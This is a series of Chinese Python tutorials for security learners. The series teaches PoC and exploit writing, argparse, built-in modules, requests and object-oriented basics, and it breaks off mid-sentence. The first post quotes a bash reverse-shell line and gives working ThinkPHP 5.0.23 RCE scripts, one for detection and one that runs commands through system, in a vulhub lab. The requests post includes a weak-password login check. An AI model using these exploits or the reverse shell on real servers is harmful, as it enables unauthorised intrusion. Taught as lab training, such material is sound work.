本篇文章记录的是Python编写poc和exp的知识。一、poc和exp的区别poc漏洞验证exp漏洞利用他们两个的本质区别是使用的 payload 不同 , 比如我一个远程命令执行的漏洞 , 当我的payload是 id/whoami这样的命令时 , 那么我整个脚本或者工具 , 就是poc , 因为我只是让他执行一下简单的系统命令来判断目标是否存在这样的漏洞 , 如果我的payload是一串 反弹shell的系统命令 如 /bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1 , 那么我整个工具就是一个exp , 可能这个poc和exp其他的代码都一模一样 , 只有要执行的命令 , 也就是这个命令 , 即 payload 不同 , 决定了这个脚本是poc还是exp二、编写thinkphp5 rce的poc环境自己使用vulhub搭建cd vulhub-master/thinkphp/5.0.23-rce docker-compose up -d使用 argparse 模块接收用户参数 , 加上banner信息import argparse import textwrap import requests import sys requests.packages.urllib3.disable_warnings() def main(url, func="phpinfo"): # 1.发请求 full_url = f"{url}/index.php?s=captcha" headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.0.60:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.0.60:8080/index.php?s=captcha", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close"} data = {"_method": "__construct", "filter[]": f"{func}", "method": "get", "server[REQUEST_METHOD]": "-1"} try: response = requests.post(full_url, headers=headers, data=data,verify=False, timeout=5, allow_redirects=False) except Exception: print(f"[-]{url} 请求失败") sys.exit(1) # 2.判断是否存在漏洞 if response.status_code == 200 and "PHP Extension Build" in response.text: print(f"[+]{url} 存在远程代码执行漏洞") else: print(f"[-]{url} 不存在远程代码执行漏洞") if __name__ == '__main__': banner = """ _ _ _ _ _ ____ | |_| |__ (_)_ __ | | ___ __ | |__ _ __| ___| _ __ ___ ___ | __| '_ \| | '_ \| |/ / '_ \| '_ \| '_ \___ \ | '__/ __/ _ \\ | |_| | | | | | | | <| |_) | | | | |_) |__) | | | | (_| __/ \__|_| |_|_|_| |_|_|\_\ .__/|_| |_| .__/____/ |_| \___\___| |_| |_| version: 0.0.1 author: xxx """ print(banner) # 使用argparse去解析命令行传来的参数 parser = argparse.ArgumentParser(description="thinkphp5 rce poc", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''example: python3 tp5poc.py -u http://192.168.1.108 ''')) # 添加参数 parser.add_argument("-u", "--url", dest="url", type=str, help="input a url") # 把参数的值解析到对象中 args = parser.parse_args() main(args.url)三、编写thinkphp5 rce的exp使用 argparse 模块接收用户参数import argparse import textwrap import requests import sys requests.packages.urllib3.disable_warnings() def main(url, cmd): # 1.发请求 full_url = f"{url}/index.php?s=captcha" headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://192.168.0.60:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.0.60:8080/index.php?s=captcha", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close"} data1 = {"_method": "__construct", "filter[]": "phpinfo", "method": "get", "server[REQUEST_METHOD]": "-1"} data2 = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": f"{cmd}"} try: response1 = requests.post(full_url, headers=headers, data=data1,verify=False, timeout=5, allow_redirects=False) response2 = requests.post(full_url, headers=headers, data=data2,verify=False, timeout=5, allow_redirects=False) except Exception: print(f"[-]{url} 请求失败") sys.exit(1) # 2.判断是否存在漏洞 if response1.status_code == 200 and "PHP Extension Build" in response1.text: print(f"[+]{url} 存在远程代码执行漏洞") # 3.回显命令执行的结果给用户 res = response2.text.split(" ",1)[0].strip() print(f"[+]{cmd}命令执行的回显为:\n{res}") else: print(f"[-]{url} 不存在远程代码执行漏洞") if __name__ == '__main__': banner = """ _ _ _ _ _ ____ | |_| |__ (_)_ __ | | ___ __ | |__ _ __| ___| _ __ ___ ___ | __| '_ \| | '_ \| |/ / '_ \| '_ \| '_ \___ \ | '__/ __/ _ \\ | |_| | | | | | | | <| |_) | | | | |_) |__) | | | | (_| __/ \__|_| |_|_|_| |_|_|\_\ .__/|_| |_| .__/____/ |_| \___\___| |_| |_| version: 0.0.1 author: xxx """ print(banner) # 使用argparse去解析命令行传来的参数 parser = argparse.ArgumentParser(description="thinkphp5 rce exp", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''example: python3 tp5exp.py -u http://192.168.1.108 -c whoami ''')) # 添加参数 parser.add_argument("-u", "--url", dest="url", type=str, help="input a url") parser.add_argument("-c", "--cmd", dest="cmd", type=str, help="input a cmd",default="id") # 把参数的值解析到对象中 args = parser.parse_args() main(args.url,args.cmd)
本篇文章记录的是Python命令行编程知识。一、命令行编程什么是命令行编程呢？通过命令行的方式和用户交互，接收用户输入的数据，然后处理，结果再次通过命令行反馈给用户。对于安全人员编写poc和exp，你会发现很多python工具都是命令行版本的。1、input接收在之前的函数中，已经介绍过input函数了，这里我们直接开始案例。如果我们要编写一个RCE漏洞的exp，可以先构造我们的思路示例：url = input("请输入url: ").strip() cmd = input("请输入你要执行的系统命令: ").strip() # 简易模仿代码 print(f"正在对{url} 网站执行 {cmd} 这条系统命令") print("命令执行完成 , 命令的回显: root")稍微美化一下：def main(): banner = """cve-2022-4346-rce 使用方法 : 根据提示依次输入url和命令""" print(banner) url = input("请输入url: ").strip() cmd = input("请输入你要执行的系统命令: ").strip() # 简易模仿代码 print(f"正在对{url} 网站执行 {cmd} 这条系统命令") print("命令执行完成,命令的回显: root") if __name__ == '__main__': main()2、sys模块import sys print(sys.argv) # 接收py脚本传进来的参数 , 返回一个列表 , 一般用来获取命令行参数 # 我们编写poc可以通过它来获取用户传递过来的url , 要执行的命令等使用sys模块优化一下，这个时候接收参数，就不需要input接收了，而是通过sys.argv示例：import sys # def main(url, cmd): # 简易模仿代码 """真正具体对指定url执行命令的代码""" print(f"正在对{url} 网站执行{cmd} 这条系统命令") print("命令执行完成,命令的回显: root") if __name__ == '__main__': banner = """welcome use cve-2022-4346-rce 使用方法 : python3 cve-2022-4346-rce.py http://www.mhx.com id\n""" print(banner) if len(sys.argv) == 3: url = sys.argv[1] cmd = sys.argv[2] main(url, cmd) else: print("输入参数有误,请按照提示输入")退出函数import sys sys.exit(0) # 一旦执行这行代码 , 程序会直接退出 , 安全退出 sys.exit(1) # 一旦执行这行代码 , 程序会直接退出 , 报错退出二、argparse模块argparse模块是python标准库中推荐的命令行解析模块，也是一个内置模块。命令行参数可以提升脚本的灵活性，更加通用。完成参数解析一般用到getopt, optparse和argparse，其中argparse 是基于 optparse , 在Python3.2新推出的命令行参数解析模块 , 比较主流特点：支持可选参数支持子命令支持重复参数个数统计更加友好的使用提示该模块不但可以用来写poc/exp，还可以写一些命令行的渗透测试工具。初步：# 导入模块 import argparse # 实例化一个对象 , 并添加命令行的描述信息,一般在脚本中用来介绍脚本是干嘛的 parser = argparse.ArgumentParser(description="这是脚本的提示信息") # 调用parse_args方法 parser.parse_args()直接运行：# 直接运行 D:\python3 argparse模块.py # 使用-h参数 D:\python3 argparse模块.py -h usage: argparse模块.py [-h] 这是脚本的提示信息 optional arguments: -h, --help show this help message and exit # 使用一个不存在的参数 D:\python3 argparse模块.py -a usage: argparse模块.py [-h] argparse模块.py: error: unrecognized arguments: -a在没有任何选项 (参数) 的情况下运行脚本不会在标准输出显示任何内容。这没有什么用处。第二次运行开始展现出 argparse 模块的作用。我们几乎什么也没有做，但已经得到一条很好的帮助信息。--help 选项，也可缩写为 -h，是唯一 一个可以直接使用的选项（即不需要指定该选项的内容）。指定任何内容都会导致错误。即便如此，我们也能直接得到一条有用的用法信息1、位置参数示例：import argparse parser = argparse.ArgumentParser() # 添加一个参数,参数名叫做url parser.add_argument("url") # 解析参数,得到一个args对象 args = parser.parse_args() # 通过 对象.参数名 调用 print(args.url)使用：D:\python3 argparse模块.py http://XXX.com http://XXX.com D:\python3 argparse模块.py -h usage: argparse模块.py [-h] url positional arguments: url optional arguments: -h, --help show this help message and exit虽然有个参数的传入 , 但是多多少少不是我们想要的 , 但是不要急 , 一般位置参数是用来做工具中必须传入的参数一般都不是用来接收值的 , 而是指定工具如何运行的 , 比如scan 位置参数 可以通过这个参数指定工具运行扫描功能关于添加位置参数 , 可以给参数设置一些属性 , 比如parser.add_argument("url", help="input a url",type=str) # 默认参数接收的值都是字符串类型, 如果需要其他类型 , 需要使用type指定使用-h参数 , 可以查看参数的help属性的值2、可选参数示例：import argparse parser = argparse.ArgumentParser() parser.add_argument("--url", help="input a url") args = parser.parse_args() # 输入args.url的值 print(args.url) # 默认不指定值的时候为None运行：# 没有参数直接运行 D:\python3 argparse模块.py None # 设置参数值 D:\python3 argparse模块.py --url http://www.XXX.com http://www.XXX.com # 查看帮助信息 D:\python3 argparse模块.py -h usage: argparse模块.py [-h] [--url URL] optional arguments: -h, --help show this help message and exit --url URL input a url3、短选项示例：import argparse parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="input a url",) args = parser.parse_args() print(args.url)运行：# 直接运行 D:\>python3 argparse模块.py None # 使用短选项 D:\python3 argparse模块.py -u http://www.mhx.com http://www.mhx.com # 使用长选项 D:\python3 argparse模块.py --url http://www.mhx.com http://www.mhx.com # 查看帮助信息 D:\python3 argparse模块.py -h usage: argparse模块.py [-h] [-u URL] optional arguments: -h, --help show this help message and exit -u URL, --ver VER increase output ver有一些需要注意的属性：`dest` 通常会作为 `add_argument()`的第一个参数 , 对于可选参数来说 , 默认属性名就是参数名 , 如果有`dest`指定则是`dest值` 如果你想给一个参数设置一个默认值 , 可以通过`default=1`关键字实现 当 `action="store"`也就是默认的 , 是接收参数存进来的值 , 并存储示例：import argparse parser = argparse.ArgumentParser() parser.add_argument("-z","--zzz", dest="ggg",type=int, default=1,help="display a square of a given number",action="store") args = parser.parse_args() # print(args.zzz) # 报错 , 因为指定了dest关键字 , 一般情况下参数名 print(args.ggg)运行：# 直接运行 , 打印默认值 D:\python3 argparse模块.py 1 # 使用短选项指定参数的值 , 注意使用依然是-z D:\python3 argparse模块.py -z 1 1 # 查看帮助 D:\python3 argparse模块.py -h usage: argparse模块.py [-h] [-z GGG] optional arguments: -h, --help show this help message and exit -z GGG, --zzz GGG display a square of a given number该模块完整手册请见 : https://docs.python.org/zh-cn/3.8/library/argparse.html4、小模板下面是一个小模板，编写的时候可以先套用，最好是有自己的风格import argparse import textwrap def main(url, cmd): # 简易模仿代码 """真正具体对指定url执行命令的代码""" print(f"正在对{url} 网站执行{cmd} 这条系统命令") print("命令执行完成,命令的回显: root") if __name__ == '__main__': banner = """ _ _ _ _ _ ____ | |_| |__ (_)_ __ | | ___ __ | |__ _ __| ___| _ __ ___ ___ | __| '_ \| | '_ \| |/ / '_ \| '_ \| '_ \___ \ | '__/ __/ _ \\ | |_| | | | | | | | <| |_) | | | | |_) |__) | | | | (_| __/ \__|_| |_|_|_| |_|_|\_\ .__/|_| |_| .__/____/ |_| \___\___| |_| |_| """ print(banner) parser = argparse.ArgumentParser(description='thinkphp5 rce exp', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''example: python3 cve-2022-4334-rce.py -u http://192.168.1.108 -c id ''')) parser.add_argument("-u", "--url", dest="url", type=str, help=" example: http://www.xxx.com") parser.add_argument("-c", "--cmd", dest="cmd", type=str, default="whoami", help="default=whoami example: id") args = parser.parse_args() main(args.url, args.cmd)
本篇文章记录的是Python内置模块和requests模块知识。一、模块的介绍1、模块是什么模块 就是一系列功能 ( 函数 ) 的集合体模块的分类内置模块 c语言写的模块/python中自带的第三方模块 别人写好的模块/从网上下载自定义模块 自己自定义的一个python文件本身就是一个模块 , 文件名m.py , 模块名叫m2、 为什么要用模块内置与第三方的模块拿来就可以用，无需定义，这种拿来主义,可以极大的提升自己的开发效率可以将程序的各部分功能提取出来放到一模块中为大家共享使用减少了代码冗余，程序组织结构更加清晰3、 模块怎么使用import 导入[创建模块]# m.py print('======我是m模块中的print代码=====') x1 = 100 def get(arg): print("get ========%s" % arg)[导入模块]# 第一种方式 # import m # 模块导入的时候,里面的代码会执行 # 模块里面内容的访问 # 语法 # 模块名.属性名 # print(m.x1) # print(m.get(200))有点类似于 php 中的 inclde 包含 , 包含进来的文件 , 你是不是可以使用该文件里面定义好的功能from ... import .... 导入# foo.py print('======foo=====') x = 0 def get(arg): print("get ========%s" % arg)# 第二种方式 # from ... import .... 导入 # from foo import x # from 模块 import 名字 # print(x) from foo import get get(100) # 100简单了解的导入方式 , 我们来学习一下常见的内置模块补充 : 为什么你在别人的poc也好还是exp也好 , 总是有这样一个身影 , 就是def main(): pass if __name__ == '__main__': main() # main还好 , 是个函数 , 大家都知道 , 但是为什么要写在if __name__ == '__main__': , 我想调用他直接main() # 不就好了吗 , 这是因为什么呢 ? 当py脚本当成模块导入的时候我们知道 , 代码会被执行 , 假如有人一不小心把你的这个py脚本当成模块导入了 , 那不就自动执行了吗? 这个判断就是为了防止这件事情的发生的 # __name__ 就是一个特殊的变量而已 # 当py脚本当成模块导入 __name__ 是不等于 '__main__' 的 , 只有执行运行改脚本才是 __name__ == '__main__'包和模块的不同模块是一个单独的文件 包是一个文件夹 , 并且该文件夹下必须有一个 __init__.py这样的文件 导入包时 , 会自动运行 __init__.py 里面的代码其他的导入形式import numpy as np # as简单理解就是起别名 , 然后可以通过 别名.名字 调用属性 __import__('base64') # 以字符串形式导入 base64二、内置模块无需下载直接导入即可使用 , 是安装python就已经在你的电脑上安装好了的1、os模块os系列import os os.getcwd() # 获取当前工作目录(pwd)，即当前python脚本工作的目录路径 os.chdir("dirname") # 改变当前脚本工作目录;相当于shell下cd os.curdir # 返回当前目录:('.') os.pardir # 获取当前目录的父目录字符串名:( '..') os.mkdir('dirname') # 生成单级目录;相当于shell中mkdir dirname os.makedirs('dirname1/dirname2') # 可生成多层递归目录 os.rmdir('dirname') # 删除单级空目录，若目录不为空则无法删除，报错;相当于shell中rmdir dirname os.listdir('dirname') # 列出指定目录下的所有文件和子目录，包括隐藏文件，并以列表方式打印 os.remove("filename") # 删除一个文件 os.removedirs('dirname1') # 若目录为空,则删除,并递归到上一级目录，如若也为空，则删除,并递归倒上一层 os.rename("oldname", "newname") # 重命名文件/目录 os.name # 输出字符串指示当前使用平台。win-> 'nt '; Linux->'posix' os.system("bash command") # 运行shell命令，直接显示os.path系列os.path.abspath('path') # 返回path规范化(符合平台的路径分隔符)的绝对路径 os.path.split('path') # 将path(path的分隔符必须是/)分割成目录和文件名二元组返回 os.path.dirname(path) # 返回path的目录。其实就是os.path.split(path)的第一个元素 os.path.basename(path) # 返回path最后的文件名。如何path以/或\结尾，那么就会返回空值。即os.path.split(path)的第二个元素 os.path.exists(path) # 如果path存在，返回True;如果path不存在，返回Falseos.path.isabs (path)如果path是绝对路径，返回True os.path.isfile(path) # 如果path是一个存在的文件，返回True。否则返回False os.path.isdir(path) # 如果path是一个存在的目录，则返回True。否则返回False os.path.join(path1[, path2[，...]]) # 将多个路径组合后返回，第一个绝对路径之前的参数将被忽略常用 :os.remove("filename") # 删除一个文件 os.rename("oldname", "newname") # 重命名文件/目录 os.name # 输出字符串指示当前使用平台。win-> 'nt '; Linux->'posix' os.system("bash command") # 运行shell命令，直接显示 os.path.isfile(path) # 如果path是一个存在的文件，返回True。否则返回False os.path.isdir(path) # 如果path是一个存在的目录，则返回True。否则返回False os.path.abspath('path') # 返回path规范化(符合平台的路径分隔符)的绝对路径 os.path.exists(path) # 如果path存在，返回True;如果path不存在，返回Falseos.path.isabs (path)如果path是绝对路径，返回True os.path.join(path1[, path2[，...]]) # 将多个路径组合后返回，第一个绝对路径之前的参数将被忽略2、time模块# 时间分为三种格式 # 1.时间戳:从1970年到现在经过的秒数 # 作用:用于时间间隔的计算 import time print(time.time()) # 1630411655.8108306 print(type(time.time())) # <class 'float'> # 2.按照某种格式显示的时间:2021-08-31 11:11:11 # 作用:用于展示时间 # %Y-%m-%d %H:%M:%S # 年 月 日 时 分 秒 # %H:%M:%S == %X , %p代表上下午 print(time.strftime("%Y-%m-%d %H:%M:%S")) # 2021-08-31 20:08:42 print(time.strftime("%Y-%m-%d %H:%M:%S %p")) # 2021-08-31 20:08:42 PM print(time.strftime("%Y-%m-%d %X")) # 2021-08-31 20:08:42 print(type(time.strftime("%Y-%m-%d %X"))) # <class 'str'> # 3.延时 time.sleep(3) # 程序运行到这行代码的时候会延时3秒3、random模块import random print(random.random())#(0,1)----float 大于0且小于1之间的小数 print(random.randint(1,3)) #[1,3] 大于等于1且小于等于3之间的整数 print(random.randrange(1,3)) #[1,3) 大于等于1且小于3之间的整数 print(random.choice([1,'23',[4,5]]))#1或者23或者[4,5] print(random.sample([1,'23',[4,5]],2))#列表元素任意2个组合 print(random.uniform(1,3))#大于1小于3的小数，如1.927109612082716 item=[1,3,5,7,9] random.shuffle(item) #打乱item的顺序,相当于"洗牌" print(item)示例 : 随机的6位数验证码import random def make_code(n): res = '' for i in range(n): s1 = str(random.randint(0, 9)) res += s1 return res print(make_code(6))4、json模块准备知识 : 了解什么是序列化 , 什么是反序列化 ?序列化指的是把内存中的数据类型转换成一个特定的格式的内容 反序列化指的是把一个特定的格式的内容转化成当前平台在内存中的一个数据类型 对于我们后面写python代码 , 就是 json格式的字符串-->python对象(字典) 反序列化 python对象(字典) --> json格式的字符串 序列化 (用到的不多)为什么要进行序列化和反序列化呢?这就要从他的特点来说了,也是他的用途 : 1.用于存储==>用于存档 大家玩过存档游戏吗?存档对于玩家说是装备等级,对程序员来说实际上这些就是数据,代码而已, 所以所谓的存档就是把程序的运行状态保存下来了(内存中的数据) 2.传输给其他平台使用==>跨平台数据交互 python java 列表 特定格式 数组 强调: 针对用途1 可以是一种专用的格式==>pickle 针对用途2 应该是通用, 能够被所有语言识别的格式==>jsonjson模块示例代码import json dic = {"status": 200, "msg": "success"} # 序列化 res = json.dumps(dic) print(res, type(res)) # {"status": 200, "msg": "success"} <class 'str'> # 反序列化 l = json.loads(res) print(l, type(l)) # {'status': 200, 'msg': 'success'} <class 'dict'> # 补充: # 将序列化的结果写入文件 res = json.dumps(dic) with open('test.json', mode='w', encoding='utf-8') as f: json.dump(dic, f) # # # 将文件读取的json格式的字符串反序列化出来 with open('test.json', mode='r', encoding='utf-8') as f: res = json.load(f) print(res, type(res)) # {"status": 200, "msg": "success"} <class 'str'> # json验证: json格式兼容的是所有语言通用的数据类型 ,不能支持单一语言所有类型 # 不支持python的集合和元祖我们用到的场景是 , 当后面我们使用python代码发送网络请求 , 得到服务器的响应是json格式的字符串的时候 , 可以通过反序列化 , 把字符串转成字典对象, 然后通过字典的方法 , 获取其中我们想要的数据5、base64模块实现对字符串的base64编码和解码import base64 # base64编码 s1 = "admin" res1 = base64.b64encode(s1.encode("utf-8")) # 参数必须是字节,返回值是字节 print(res1) # b'YWRtaW4=' print(res1.decode("utf-8")) # YWRtaW4= # 简单封装成一个函数 def my_b64encode(s): res = base64.b64encode(s.encode("utf-8")) # 参数必须是字节,返回值是字节 return res.decode("utf-8") b64 = my_b64encode("123456") print(b64) # base64解码 b64_str = "YWRtaW4=" res = base64.b64decode(b64_str) res = res.decode("utf-8") print(res) # admin # 封装成一个函数6、url模块通过python对url进行编码和解码import urllib.parse # url编码 keyword = "后台" keyword_byte = keyword.encode('utf-8') url_keyword = urllib.parse.quote(keyword_byte) print(url_keyword) # %E5%90%8E%E5%8F%B0 # url解码 url_keyword = "%E5%90%8E%E5%8F%B0" url = urllib.parse.unquote(url_keyword) print(url) # 后台三、requests初体验1、requests是什么requests 是一个在python中用来发送请求的模块 , 同时他是一个第三方模块 , 我们可以通过pip3安装 我们平时使用浏览器上网本质上是不是就是通过浏览器这个工具对对方的网站发送请求 , 那么我换个工具 , 不再使用浏览器 , 使用其他的我不管你是什么工具 , 只要能满足我们发送请求的需求即可 , requests这个模块就是发送请求的一个模块。2、安装pip3 install requests这种是在线安装 , 还有一种本地安装的方式 , 需要先下载对应的模块安装包 , 一般用到的比较少 , 可能python2环境下的一些依赖无法在线自动安装会采用这种方式安装https://pypi.org/project/requests/#filespip3 install requests-2.28.0-py3-none-any.whl四、requests基本使用1、发送get请求环境http://www.baidu.comimport requests url = "http://www.baidu.com" response = requests.get(url) # 1.打印服务器返回的响应状态码 print(response.status_code) # 2.打印服务器返回的响应内容 , 全部 # print(response.text) # # 3.保存到一个html文件 # with open("./1.html",mode="w",encoding="utf-8") as f: # f.write(response.text) # 4.返回编码格式 print(response.encoding) # ISO-8859-1 # response.text 之时，Requests 会使用其推测的文本编码。你可以找出 Requests 使用了什么编码，并且能够使用 r.encoding 属性来改变它： # 如果你改变了编码，每当你访问 response.text ，Request 都将会使用 r.encoding 的新值 # 5.设置编码格式 response.encoding = 'utf-8' # 6.设置编码后再保存到一个html文件 with open("./2.html",mode="w",encoding="utf-8") as f: f.write(response.text)2、发送post请求环境：http://XX.XX.XX.XXX:8092/toLogin通过浏览器查看post请求提交的数据url = "http://XX.XX.XX.XXX:8092/login" data = { "userName": "admin", "password": "123456", } response = requests.post(url, data=data) d = json.loads(response.text) if d.get("code") == 200 and d.get("msg") == None: print(f"[+]{url}存在弱口令") else: print(f"[-]{url}不存在弱口令")3、参数解释# 请求方法 requests.方法名() # 常见参数 url # 请求的url data # post请求携带的请求体 headers # 请求头 cookies # cookies timeout # 等待时间 allow_redirects # 是否运行重定向 , 默认是允许 true proxies # 代理 , 参数是字典类型 , 示例 : proxies = { "http": "http://127.0.0.1:7890", "https": "http://10.10.1.10:1080", } 协议 url verify # ssl证书校验 , 默认是true4、响应获取# 1.获取响应状态码 response.status_code # int # 2.获取响应头 response.headers # dict # 3.获取响应体 # 3.1 文本内容 response.text # str # 3.2 字节内容 (图片,音频,视频) response.content # byte # 3.3 json格式字符串 response.json() # str5、bp插件在bp的扩展插件中搜索 Copy As Python-Requests我们都知道BP可以抓包，当我们相对某个请求包，使用python编写相应代码发送时可以，先使用BP抓包，然后右键选择：此时该插件就会生成python对应的请求代码，并赋值到你当前的剪切板import requests burp0_url = "https://www.baidu.com:443/" burp0_cookies = {"PSTM": "1655964694", "BAIDUID": "65B9408A169710530C1F05C8AEDD650B:FG=1", "BD_HOME": "1", "H_PS_PSSID": "36552_36460_36673_36455_34813_36165_36570_36073_26350_36469_36314", "BAIDUID_BFESS": "65B9408A169710533F70359FCA98D582:FG=1", "BIDUPSID": "725DA321C78DF0F6CD65584E4FE8839C", "BD_UPN": "12314753", "BA_HECTOR": "a90480048h050lah8g1hb810m14", "ZFY": "8bxEX:A:B9HSmxIFaHW7pmuR9joCr8iyaLT:B0pkYG6GYM:C"} burp0_headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"100\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)五、尝试看源码分析一步一步点击去看就ok了 , 这个时候你就会发现为什么 url 是位置传参 , 而其他的参数是关键字传参了。六、小模版针对bp生成的代码模板实际上是有一些不足的 , 比如有的站点 ssl证书过期了 , 你直接用浏览器访问都需要我们二次确认 , 对于requests模块也是 , 它也会检测 , 默认 verify 参数是true , 所以需要我们手动设置为 false , 不检测还有一些其他的参数也是 , 比如超时参数 , 最好也设置一下 , 你会发现每次都要设置这些参数 , 所以我们可以保留一个模板 , 防止自己忘记 , 而且我们都知道 请求有可能会失败 , 在我们代码中的体现是请求失败后 , 拿到的响应是None , 如果你再对响应做处理 , 比如 r.text 就会报错 , 所以最好加上 try ... except# 语法 try: # 可能会出错的代码 except: # 报错之后,会执行的代码报错捕捉需要指定报错类型 , 指定了类型只会捕捉这类的报错 , 比如 IndentationError , SyntaxError等 , 如果你不确定报错的类型 , 那么可以使用 Exception , 它可以捕捉任意类型的报错 , 示例try: # 可能会出错的代码 except Exception as e: print(e)import requests requests.packages.urllib3.disable_warnings() url = "http://xxxx.com/signin" cookies = {"NG_TRANSLATE_LANG_KEY": "zh-CN", "JSESSIONID": "7D7571D40E4C16EC46C0C84FB3340E80"} headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://xxxx.com", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://xxxx.com/signin", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close"} data = {"username": "apollo", "password": "admin", "login-submit": "\xe7\x99\xbb\xe5\xbd\x95"} try: response = requests.post(url, headers=headers, cookies=cookies,data=data, allow_redirects=False, verify=False, timeout=5 ) print(response.text) except Exception as e: print(e) # 退出代码,如果是循环,就跳过本次 """ 其他的代码逻辑,比如响应中的数据提取等 """然后我只需要每次把BP插件生成的代码替换到里面即可 , 或者你可以自己手动编写一个BP插件 , 按照你想要的格式生成python代码
本篇文章记录的是Python面向对象的知识。一、什么是面向对象面向对象编程是一种编程思想 , 一种编程范式 , 不是只有python才有 , 而是所有的编程语言都可以用面向对象的思想去写代码 , 那么面向对象到底是什么 ?面向对象的核心是对象二字，而对象的精髓在于整合，什么意思？所有的程序(脚本) 都是由 "数据" ( 变量 ) 与 "功能"(函数) 组成，因而编写程序的本质就是定义出一系列的数据，然后再定义出一系列的功能来对数据进行操作。示例一个游戏中一个用户 , 每天的打卡代码name = "小王" age = 21 addr = "信思智学" def da_ka(): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") da_ka()上述代码是不是有数据 有功能 , 整个程序抽象成网络游戏中的一个用户每天必须要做的事情 , 那如果有一个新注册的用户小李 , 是不是每天也要做这样的事情 , 程序背后的代码是不是还是这几行 ? 只不过数据的值可能要变name = "小李" age = 22 addr = "信思智学" def da_ka(): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") da_ka()二、为什么要有面向对象如果当前这个游戏 背后所有用户的打卡代码都这样 , 是不是非常的冗余 , 既然都是用户 , 那么都会有三个变量要创建对吧 , 我们把这三个变量称之为属性 , 以及一个打卡函数 , 我们称之为功能 , 我们能不能把这些属性和功能封装到一个类似像函数那样的代码中 , 我们只需要传入不同的值就可以实现这样的打卡功能了可以的 , 面向对象编程就可以实现 , 把公有的一些属性和方法 , 封装到一个类中 , 然后通过类实例化出不同的对象这个不同取决于我们在实例化对象时候传入的值是不同的 , 所以实例化出的对象也是不同的 , 然后通过对象去调用打卡功能 , 那在python中如何编写这样的代码呢?三、面向对象的代码如何编写1、类的定义语法class 类名: 类中的代码 # 关于类名的定义规范和变量很相似 , 只不过它的首字母要大写 , 多个单词组成的话 , 推荐使用驼峰法其中解释器运行到类定义代码的时候 , 就会被执行 , 不像函数 , 函数里的代码只有当调用时才会被执行 示例class A: print("111")2、实例化对象关于类中的代码 , 如何设计 , 怎么写 , 我们以上面的那个例子为例第一版class User: # 相同的属性 addr = "信思智学" # 公有的方法 def da_ka(self, age, name, addr): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功")先看如何通过类实例化出来对象 实例化对象# 语法 # 类名() obj1 = User() obj2 = User() obj3 = User()3、属性的访问# 语法 # 对象.属性 print(obj1.addr) print(obj2.addr) print(obj3.addr)4、新增属性即为对象定制自己独有的属性# 语法 对象.属性 = 值 obj1.name = "小王" obj1.age = 21 obj2.name = "小李" obj2.age = 22 print(obj1.name) print(obj2.name) # 补充 如果属性存在会修改当前对象的属性值 , 其他对象还是原来的属性值5、方法的访问# 语法 # 对象.方法() obj1.da_ka(obj1.name,obj1.age,obj1.addr)6、初始化方法如果我的程序 , 现在要再创建3个对象 , 并且还要新增自己独有的属性值 , 那么这样的代码是不是还要写3遍obj2.name = "小强" obj2.age = 23 .......代码是不是很重复 冗余 , 既然重复 冗余我们能不能封装成一个函数 , 每次想新增属性 , 只需要调用函数 , 然后传递不同的参数即可第二版class User: # 相同的属性 addr = "信思智学" # 公有的方法 def da_ka(self, age, name, addr): print(f"{age}的{name},每天都要去{addr}上班,打卡") print("打卡成功") def init(obj,name,age): obj.name = name obj.age = age obj3 = User() obj4 = User() obj5 = User() init(obj3,"小强",23) init(obj4,"小刚",24) init(obj5,"小呆呆",25) print(obj3.name)既然这个init函数 , 